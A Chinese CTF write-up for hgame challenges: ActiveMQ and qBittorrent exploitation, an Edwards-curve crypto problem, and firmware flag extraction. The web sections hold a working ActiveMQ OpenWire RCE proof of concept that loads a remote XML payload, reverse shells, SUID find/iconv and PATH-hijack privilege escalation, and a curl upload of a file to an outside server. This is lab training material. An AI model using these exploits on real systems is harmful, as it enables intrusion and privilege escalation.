
web

Reverse and Escalation.

先是登录,抓一个登录包,发现一个 Authorization: Basic YWRtaw46YWRtaw4=,解码后发现是刚刚输入的用户名和密码,bp爆破登录一下。



爆破出 admin: admin, 登录后可以知道这是 ActiveMQ。

参考链接: <u>Apache-ActiveMQ-RCE</u>

ActiveMQ.java

```
package org.vidar;
import java.io.*;
import java.net.Socket;

public class ActiveMQ {
    public static void main(final String[] args) throws Exception {
        System.out.println("[*] Poc for ActiveMQ openwire protocol rce");
        String ip = "47.102.184.100";
        int port = 31980;
        String pocxml= "http://xxxx:xxx/poc.xml";
        Socket sck = new Socket(ip, port);
        OutputStream os = sck.getOutputStream();
        DataOutputStream out = new DataOutputStream(os);
```

```
out.writeInt(0); //无所谓
        out.writeByte(31); //dataType ExceptionResponseMarshaller
        out.writeInt(1); //CommandId
        out.writeBoolean(true); //ResponseRequired
        out.writeInt(1); //CorrelationId
        out.writeBoolean(true);
        //use true -> red utf-8 string
        out.writeBoolean(true);
 out.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContex
t");
        //use true -> red utf-8 string
        out.writeBoolean(true);
        out.writeUTF(pocxml);
        //call
org.apache.activemq.openwire.v1.BaseDataStreamMarshaller#createThrowable cause
        out.close();
        os.close();
        sck.close();
        System.out.println("[*] Target\t" + ip + ":" + port);
        System.out.println("[*] XML address\t" + pocxml);
        System.out.println("[*] Payload send success.");
    }
}
```

poc.xml

反弹shell后,发现/flag没有权限查看,需要提权。

先用find命令查看有SUID权限的程序, 发现find有这个权限

```
find / -perm -4000 2>/dev/null
```

```
activemq@gamebox-107-153-80677e5557d1f112:/opt/activemq$ cat /flag
cat /flag
cat: /flag: Permission denied
activemq@gamebox-107-153-80677e5557d1f112:/opt/activemq$ find / -perm -4000 2>/dev/null
<!f112:/opt/activemq$ find / -perm -4000 2>/dev/null
/usr/bin/find
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/sudo
/bin/umount
/bin/su
/bin/mount
activemq@gamebox-107-153-80677e5557d1f112:/opt/activemq$
```

用find命令提权查看flag。

```
find `which find` -exec cat /flag \;
```

```
webapps
webapps-demo
activemq@gamebox-107-153-62b16de4d7e5a94a:/opt/activemq$ find `which find` -exec whoami \;
<4a:/opt/activemq$ find `which find` -exec whoami \;
root
activemq@gamebox-107-153-62b16de4d7e5a94a:/opt/activemq$ find `which find` -exec cat /flag \;
</opt/activemq$ find `which find` -exec cat /flag \;
hgame{30cdf3a1c6a3f0b4d4734ba2dfc6a30127fff0c4}
activemq@gamebox-107-153-62b16de4d7e5a94a:/opt/activemq$ sent 74, rcvd 657</pre>
```

Reverse and Escalation.II

和上一题一样是 ActiveMQ ,同样先反弹shell。

同样先用find查看有SUID权限的应用,发现find有问题。

```
activemq@gamebox-107-158-abe3d60fe09b5f10:/opt/activemq$ find find activemq@gamebox-107-158-abe3d60fe09b5f10:/opt/activemq$ find 1 find 1 2384 + 9862 = wrong answer! activemq@gamebox-107-158-abe3d60fe09b5f10:/opt/activemq$ a
```

把find上传出来,分析一下,上传的方法是先在自己服务器写一个上传的路径,然后用 curl -F 把文件上传到自己的服务器。

参考:

```
curl -F "pic=/usr/bin/find" http://xxx:xxx/upload_file.php
```

ida分析find, 发现find被改了

分析发现,这个程序需要我们做38道加法题,做完后就以uid=0的状态执行 1s。

先做题,随机数种子取的是当前时间,我选择写一个c来生成命令,再用 system 来执行 find

脚本:

```
#include<stdlib.h>
#include<time.h>
char* itoa(int val, int base){
    static char buf[32] = \{0\};
    int i = 30;
    for(; val && i ; --i, val /= base)
        buf[i] = "0123456789abcdef"[val % base];
    return &buf[i+1];
}
int main()
    int v3 = time(0);
    srand(v3);
    char cmd[1000]="find ";
    int cnt = 5;
    for(int i=0;i<39;i++)
        int v7 = rand() \% 23333;
        int v6 = rand() \% 23333;
```

```
int res = v7+v6;
    //printf("%d\n", res);
    char *res_chars;
    res_chars = itoa (res,10);
    for(int i=0; res_chars[i]; i++)
    {
        cmd[cnt]=res_chars[i];
        cnt++;
    }
    cmd[cnt++]=' ';
}
system(cmd);
}
```

接着是静态编译,不然上传后运行不了

```
gcc new.c -o new -static
```

服务器有 wget , 可以把文件放到自己服务器上再用 wget 下载下来。

下载完后给上执行权限

```
chmod 777 new
```

执行new,可以看到能执行到 1s 了。

```
activemq@gamebox-107-158-abe3d60fe09b5f10:/tmp$ ./new
./new
hsperfdata_activemq
hsperfdata_root
new
15664 + 23187 =
38851 correct!
13489 + 18407 =
31896 correct!
18446 + 10912 =
29358 correct!
16710 + 17049 =
33759 correct!
8449 + 2277 =
10726 correct!
5847 + 4743 =
10590 correct!
16382 + 17547 =
```

接着是搞定这个ls,我们写一个执行其他命令的shell脚本,脚本名字就叫做ls,并给上执行权限

```
echo "cat /flag" > 1s
chmod 777 ls
```

接着修改环境变量,把自己写的 1s 脚本路径放在 PATH 的最前面。当系统调用 1s 时,会按照 PATH 文件 夹的顺序遍历,执行最前面的那一个 1s 。

```
export PATH="/tmp:$PATH"
```

再次执行new,即可得到flag。

```
activemq@gamebox-107-158-abe3d60fe09b5f10:/tmp$ export PATH="/tmp:$PATH" export PATH="/tmp:$PATH" activemq@gamebox-107-158-abe3d60fe09b5f10:/tmp$ ./new ./new hgame{ce168c38c894fb78733dd16c380eff72b1dafcaa} 11912 ± 13743 = 25655 correct! 14544 + 21475 = 36019 correct! 9396 + 9561 = 18957 correct! 5701 + 18407 = 24108 correct! 5315 + 4608 = 9923 correct!
```

Whose Home?


信息收集,可以知道这是一个 qBittorrent Web UI ,搜索漏洞,可以知道有一个 CVE-2023-30801

参考链接: qBittorrent Web UI 默认凭据导致 RCE (CVE-2023-30801)

默认密码登录

```
username: admin
password: adminadmin
```

登陆后,在设置里放上反弹shell的payload,中文可以自己调。



找一个 torrent 文件, 单击上传, 上传成功后即可反弹shell。

用find命令查看哪些程序有 SUID 权限

```
find / -perm -4000 2>/dev/null
```

用 iconv 读 /flag 即可得到flag1。

```
iconv /flag
```

```
gamebox-107-160-c4735bell14f903a-qbittorrent:/tmp/tools$ find / -perm -4000 2>/d
ev/null
find / -perm -4000 2>/dev/null
/package/admin/s6-overlay-helpers-0.1.0.1/command/s6-overlay-suexec
/usr/bin/iconv
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/expiry
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/chsh
/usr/bin/chage
gamebox-107-160-c4735bell14f903a-qbittorrent:/tmp/tools$ iconv /flag
iconv /flag
hgame{b4c225c55d887481f28ee157d316dac7802e2647}
gamebox-107-160-c4735bell14f903a-qbittorrent:/tmp/tools$
```

crypto

transformation

源码:

```
#!/usr/bin/env python
# coding: utf-8
from Crypto.Util.number import *
from secret import Curve, gx, gy
# flag = "hgame{" + hex(gx+gy)[2:] + "}"
def ison(C, P):
    c, d, p = C
    return (u^{**2} + v^{**2} - c^{**2} * (1 + d * u^{**2} * v^{**2})) \% p == 0
def add(C, P, Q):
    c, d, p = C
    u1, v1 = P
    u2, v2 = Q
    assert ison(C, P) and ison(C, Q)
    u3 = (u1 * v2 + v1 * u2) * inverse(c * (1 + d * u1 * u2 * v1 * v2), p) % p
    v3 = (v1 * v2 - u1 * u2) * inverse(c * (1 - d * u1 * u2 * v1 * v2), p) % p
    return (int(u3), int(v3))
def mul(C, P, m):
```

```
assert ison(C, P)
    c, d, p = C
    B = bin(m)[2:]
   1 = len(B)
    u, v = P
    PP = (-u, v)
   O = add(C, P, PP)
    Q = 0
   if m == 0:
        return O
    elif m == 1:
       return P
    else:
        for _ in range(1-1):
           P = add(C, P, P)
        m = m - 2**(1-1)
       Q, P = P, (u, v)
        return add(C, Q, mul(C, P, m))
c, d, p = Curve
G = (gx, gy)
P = (423323064726997230640834352892499067628999846,
44150133418579337991209313731867512059107422186218072084511769232282794765835)
Q = (1033433758780986378718784935633168786654735170,
2890573833121495534597689071280547153773878148499187840022524010636852499684)
S = (875772166783241503962848015336037891993605823,
51964088188556618695192753554835667051669568193048726314346516461990381874317)
T = (612403241107575741587390996773145537915088133,
64560350111660175566171189050923672010957086249856725096266944042789987443125)\\
assert ison(Curve, P) and ison(Curve, Q) and ison(Curve, G)
e = 0x10001
print(f"eG = {mul(Curve, G, e)}")
(40198712137747628410430624618331426343875490261805137714686326678112749070113,
65008030741966083441937593781739493959677657609550411222052299176801418887407)
```

参考链接: 2024 SICTF Round#3出题 crypto misc osint

2024-SICTF-#Round3-wp-crypto

Crypto趣题-曲线

先求出G在 Weierstrass 上的值,再转换回去即可得到原先的G

exp:

求p, d, c^2:

```
from math import gcd

def happy(C, P):
    """
    Verification points are on the curve
    """
```

```
c, d, p = C
    u, v = P
    return (u^{**2} + v^{**2} - cc * (1 + d * u^{**2}v^{**2})) \% p == 0
def a_and_b(u1,u2,v1,v2):
    Helper function used to simplify calculations
    a12 = u1**2 - u2**2 + v1**2 - v2**2
    b12 = u1**2 * v1**2 - u2**2 * v2**2
    return a12, b12
def find_modulus(u1,u2,u3,u4,v1,v2,v3,v4):
   Compute the modulus from four points
   a12, b12 = a_and_b(u1,u2,v1,v2)
   a13, b13 = a_and_b(u1,u3,v1,v3)
   a23, b23 = a_and_b(u2,u3,v2,v3)
    a24, b24 = a_and_b(u2,u4,v2,v4)
    p_almost = gcd(a12*b13 - a13*b12, a23*b24 - a24*b23)
   for i in range(2,1000):
       if p_almost % i == 0:
            p_almost = p_almost // i
    return p_almost
def c_{sq_d(u1,u2,v1,v2,p)}:
   0.00
   Helper function to computer c∧2 d
    a1,b1 = a_and_b(u1,u2,v1,v2)
   return a1 * pow(b1,-1,p) % p
def c(u1,u2,v1,v2,p):
    Compute c^2, d from two points and known modulus
   ccd = c_sq_d(u1,u2,v1,v2,p)
    cc = (u1**2 + v1**2 - ccd*u1**2*v1**2) \% p
    d = ccd * pow(cc, -1, p) % p
    return cc, d
P = (423323064726997230640834352892499067628999846,
44150133418579337991209313731867512059107422186218072084511769232282794765835)
Q = (1033433758780986378718784935633168786654735170,
2890573833121495534597689071280547153773878148499187840022524010636852499684)
S = (875772166783241503962848015336037891993605823,
51964088188556618695192753554835667051669568193048726314346516461990381874317)
T = (612403241107575741587390996773145537915088133,
64560350111660175566171189050923672010957086249856725096266944042789987443125)
```

```
u1, v1 = P
u2, v2 = Q
u3, v3 = S
u4, v4 = T
p = find_modulus(u1, u2, u3, u4, v1, v2, v3, v4)
cc, d = c(u1, u2, v1, v2, p)
C = cc, d, p
assert happy(C, P)
assert happy(C, Q)
assert happy(C, S)
assert happy(C, T)
print(f'Found curve parameters')
print(f'p = {p}')
print(f'c^2 = \{cc\}')
print(f'd = {d}')
0.00
Found curve parameters
p =
67943764351073247630101943221474884302015437788242536572067548198498727238923
12908728488299650872377430201970332178171657588185291326485782119189255844928
d = 8779982120820562807260290996171144226614358666469579196351820160975526615300
```

求G:

```
# sage
#part1 get c2、d
P = (423323064726997230640834352892499067628999846,
44150133418579337991209313731867512059107422186218072084511769232282794765835)
Q = (1033433758780986378718784935633168786654735170,
2890573833121495534597689071280547153773878148499187840022524010636852499684)
S = (875772166783241503962848015336037891993605823,
51964088188556618695192753554835667051669568193048726314346516461990381874317)
T = (612403241107575741587390996773145537915088133,
64560350111660175566171189050923672010957086249856725096266944042789987443125)
eG =
(40198712137747628410430624618331426343875490261805137714686326678112749070113,
65008030741966083441937593781739493959677657609550411222052299176801418887407)
p =
67943764351073247630101943221474884302015437788242536572067548198498727238923
12908728488299650872377430201970332178171657588185291326485782119189255844928
d = 8779982120820562807260290996171144226614358666469579196351820160975526615300
a = 1
PR.<c> = PolynomialRing(Zmod(p))
f = c^2 - c^2
```

```
#print(f.roots())
c = f.roots()[0][0]
\#c = f.roots()[1][0]
#part2 map to ECC
F = GF(p)
dd = F(d*c^4)
A = F(2) * F(a+dd) / F(a-dd)
B = F(4) / F(a-dd)
a = F(3-A^2) / F(3*B^2)
b = F(2*A^3-9*A) / F(27*B^3)
def edwards_to_ECC(x,y):
   x1 = F(x) / F(c)
   y1 = F(y) / F(c)
   #now curve is a*x^2+y^2 = 1+dd*x^2*y^2
   x2 = F(1+y1) / F(1-y1)
   y2 = F(x2) / F(x1)
   #now curve is By^2 = x^3 + Ax^2 + x
   x3 = (F(3*x2) + F(A)) / F(3*B)
   y3 = F(y2) / F(B)
   #now curve is y^2 = x^3 + ax + b
   return (x3,y3)
def ECC_to_edwards(x,y):
   x2 = (F(x) * F(3*B) - F(A)) / F(3)
   y2 = F(y) * F(B)
   #now curve is By^2 = x^3 + Ax^2 + x
   x1 = F(x2) / F(y2)
   y1 = F(1) - (F(2) / F(x2+1))
   #now curve is a*x^2+y^2 = 1+dd*x^2*y^2
   x_{-} = F(x1) * F(c)
   y_{-} = F(y1) * F(c)
   #now curve is a*x^2+y^2 = c^2(1+d*x^2*y^2)
   return (x_,y_)
E = EllipticCurve(GF(p), [a, b])
P = E(edwards\_to\_ECC(P[0], P[1]))
Q = E(edwards\_to\_ECC(Q[0],Q[1]))
C = E(edwards_to_ECC(eG[0],eG[1]))
print(C)
e = 0x10001
import gmpy2
t = gmpy2.invert(e,E.order())
```

```
G = C * t

G = ECC_to_edwards(G[0],G[1])
print(G)
# print(hex(G[0]+G[1])[2:])
flag = "hgame{" + hex(G[0]+G[1])[2:] + "}"
print(flag)
"""

(60509997141402220432457672116464144281323849418849996079955274693120169548926 :
64398762792438422614266845264105268512048378462904543894039824596662785909770 :
1)
(10801522842243173004305732551018051267087389767241338575531365181016273121234,
45542712889400624552765069228326432314004665232870865493507801651803120421882)
hgame{7c91b51150e2339628f10c5be61d49bbf9471ef00c9b94bb0473feac06303bcc}
"""
```

IoT

ez7621

参考链接: 提取路由器固件中的squashfs文件系统unsquashfs提取方法

从附件的bin里面提取出文件系统。

先用hexdump查看并定位squashfs的文件头 (hsqs) 位置

```
hexdump -C ez7621.bin | grep hsqs
```

得到结果:

可见hsqs的开始位置是0x002b6442,dd命令是不支持16进制的,先转换为10进制,0x002b6442转为10进制后为2843714,接着可以构建dd命令了。

```
dd if=ez7621.bin of=ez7621.squashfs skip=1 bs=2843714
```

这样就得到了ez7621.squashfs文件了,解压squashfs文件需要用到unsquashfs命令

```
unsquashfs ez7621.squashfs
```

运行该命令后,会在当前目录生成文件夹squashfs-root,里面就是解压出来的文件系统接着在这个文件夹下面搜索名字带flag的文件

```
find squashfs-root -name "*flag*"
```

```
root@kali)-[/home/amber/桌面/iot]
# find squashfs-root -name "*flag*"
squashfs-root/etc/modules.d/30-flag
squashfs-root/etc/modules-boot.d/30-flag
squashfs-root/usr/lib/opkg/info/kmod-flag.list
squashfs-root/usr/lib/opkg/info/kmod-flag.prerm
squashfs-root/usr/lib/opkg/info/kmod-flag.control
squashfs-root/lib/modules/5.15.137/mt7621-flag.ko
```

ida分析 mt7621-flag.ko

```
int v7; // $t0
3
1
     int16 v8; // $a3
    char v9; // $v0
2
3
     int64 v10; // $v0
    char v12[44]; // [sp+14h] [-68h] BYREF
    int v13[13]; // [sp+40h] [-3Ch] BYREF
5
5
7
    v0 = ">17;3-ee44`3`a{`boe{b2fb{4`d4{bdg5aoog4d44+";
В
   v1 = v12;
9
    do
3
1
     v2 = *(DWORD *)v0;
2
     v3 = *((_DWORD *)v0 + 1);
3
      v4 = *((_DWORD *)v0 + 2);
4
      v5 = *((_DWORD *)v0 + 3);
5
      v0 += 16;
5
      *( DWORD *)v1 = v2;
7
      *(( DWORD *)v1 + 1) = v3;
3
      *((DWORD *)v1 + 2) = v4;
9
      *((DWORD *)v1 + 3) = v5;
3
      v1 += 16;
1
   }
2
   while ( v0 != "g5aoog4d44+" );
3
   v6 = *( DWORD *)v0;
4
   \sqrt{7} = *((_DWORD *) \sqrt{0} + 1);
5
   v8 = *((WORD *)v0 + 4);
5
   v9 = v0[10];
7
    *( DWORD *)v1 = v6;
8
    *((DWORD *)v1 + 1) = v7;
9
    *((WORD *)v1 + 4) = v8;
3
    v1[10] = v9;
1
    memset(v13, 0, 50);
2
    v10 = (unsigned int)strnlen(v12, 43);
3
    if ( (unsigned int)v10 >= 0x2B )
4
5
      if ( ( DWORD)v10 != 43 )
5
        fortify_panic("strnlen");
7
      v10 = fortify_panic("strlen");
В
9
    while ( (DWORD) \lor 10 != HIDWORD( \lor 10) )
3
1
      *((_BYTE *)v13 + HIDWORD(v10)) = v12[HIDWORD(v10)] ^ 0x56;
2
      ++HIDWORD(v10);
3
```

取出 v0 的值, xor 爆破 key, 即可得到 flag。

